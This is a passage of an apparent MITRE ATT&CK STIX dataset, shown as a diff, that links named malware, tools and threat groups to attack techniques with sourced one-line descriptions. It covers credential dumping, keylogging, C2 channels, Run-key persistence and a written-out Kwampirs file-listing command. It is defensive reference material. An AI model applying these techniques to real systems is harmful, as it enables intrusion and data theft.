"relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--98abda72-4760-4e8c-ab6c-5ed080868cfc", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "relationship_type": "uses", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has attempted to get users to launch a malicious Microsoft Word attachment delivered via a spearphishing email.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--83bfee39-b6c9-48e6-8114-54b0c623a91f", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "modified": "2019-04-29T18:13:09.101Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of files and directories in C:\\ with the command dir /s /a c:\\ >> \"C:\\windows\\TEMP\\[RANDOM].tmp\".", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4e07996d-c9d9-49a8-9800-94daf69cd3b3", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to upload files from a compromised host.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--95415ffd-265d-448f-bb39-73c7721d5c42", + "external_references": [ + { + "source_name": "Microsoft BITSAdmin", + "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.", + "url": "https://msdn.microsoft.com/library/aa362813.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163", + "relationship_type": "uses", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses WMI to perform discovery techniques.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5422e9a8-4fbe-40c0-8348-53faa9a7d2d3", + "external_references": [ + { + "source_name": "Unit 42 OilRig Sept 2018", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "modified": "2019-04-24T23:40:23.513Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) uses scheduled tasks typically named \"Watchmon Service\" for persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e32b53b5-b112-483a-8d95-56bf3f43671f", + "external_references": [ + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of capturing keystrokes on victims.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ab7faed6-3c50-4b04-a31b-ac2c933a51ef", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CORALDECK](https://attack.mitre.org/software/S0212) searches for specified files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a00bb928-c644-4b77-ae9c-18c3165daa00", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can use the command-line utility cacls.exe to change file permissions.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1d3892ec-dccb-4ba2-b82c-2c7fcafbdd00", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) transfers files from the compromised host via HTTP or HTTPS to a C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3acdd018-80a0-4005-bab9-0cf89acfa43a", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) steals credentials from compromised hosts. [PinchDuke](https://attack.mitre.org/software/S0048)'s credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by [PinchDuke](https://attack.mitre.org/software/S0048) include ones associated with The Bat!, Yahoo!, Mail.ru, Passport.Net, Google Talk, Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, Internet Explorer, Microsoft Outlook, WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP).", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2e80a049-220e-4d47-98f7-c0dbfe245cdc", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) can use HTTP or HTTPS for command and control to hard-coded C2 servers.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a9727d1b-777a-4c3e-8bcc-e0cbff7431d8", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + }, + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a backdoor through which remote attackers can steal system information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c011e80b-7b86-405a-8d41-745bd37a0d10", + "external_references": [ + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DustySky](https://attack.mitre.org/software/S0062) searches for removable media and duplicates itself onto it.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3eb29574-145d-4d4a-b4c6-e94b8a79781e", + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) logs the keystrokes on the targeted system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9818eeca-be12-4dd3-bf9f-e33d5b409248", + "external_references": [ + { + "source_name": "Talos NavRAT May 2018", + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) deletes its payload along with the payload's parent process after it finishes copying files.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2e5039ef-913f-4808-9685-32f64f4dbf49", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of enumerating and manipulating files and directories.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c3ee174d-fd40-4636-97b2-afe80854f987", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has encrypted C2 traffic with RSA.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--baeff271-0885-4c44-a9d6-c03411ca9bb0", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-04-22T22:36:53.117Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Janicab](https://attack.mitre.org/software/S0163) captured screenshots and sent them out to a C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fc67e15c-ae09-45e1-925f-8a6b0e8ca4ab", + "external_references": [ + { + "source_name": "f-secure janicab", + "description": "Brod. (2013, July 15). Signed Mac Malware Using Right-to-Left Override Trick. Retrieved July 17, 2017.", + "url": "https://www.f-secure.com/weblog/archives/00002576.html" + }, + { + "source_name": "Janicab", + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Reaver](https://attack.mitre.org/software/S0172) encrypts collected data with an incremental XOR key prior to exfiltration.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--98d3455f-49cc-4539-ba35-4b11bec0ddcd", + "external_references": [ + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Windows Credential Editor](https://attack.mitre.org/software/S0005) can dump credentials.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--935971d6-0af2-4683-971a-9acb523733fe", + "external_references": [ + { + "source_name": "Amplia WCE", + "description": "Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved December 17, 2015.", + "url": "http://www.ampliasecurity.com/research/wcefaq.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can obtain information about the local system.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b0791504-fc65-402b-bc47-bd96ed4abea1", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + }, + { + "source_name": "evolution of pirpi", + "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.", + "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf" + } + ], + "modified": "2019-04-29T18:01:20.623Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) adds itself to the startup folder or adds itself to the Registry key SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run for persistence.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d38177b0-03c0-4c59-afa6-eea94a372daa", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:48.038Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[pngdowner](https://attack.mitre.org/software/S0067) deletes content from C2 communications that was saved to the user's temporary directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7985b09e-9241-489c-a0f2-45a6f5c782f1", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can delete services from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d40e67b8-49d3-4dfb-8a1b-342e841728ef", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) samples have been signed with a code-signing certificates.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b0b404e-7e1b-4f8f-8b78-85016f36f8e9", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can discover and replace/modify service binaries, paths, and configs.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--676d7d2c-86b6-4a59-8158-d371e5ca4f23", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.196Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:04:45.848Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--775d3c82-5863-43fa-8dfd-2f62382d53f1", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can inject files into running processes.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--66f859b2-4bc2-4520-afd4-8f8a7b71a50c", + "external_references": [ + { + "source_name": "Symantec Wiarp May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:25:53.642Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2db640ab-413b-4c49-9842-3bf190c5e184", + "external_references": [ + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Crimson](https://attack.mitre.org/software/S0115) uses a custom TCP protocol for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": 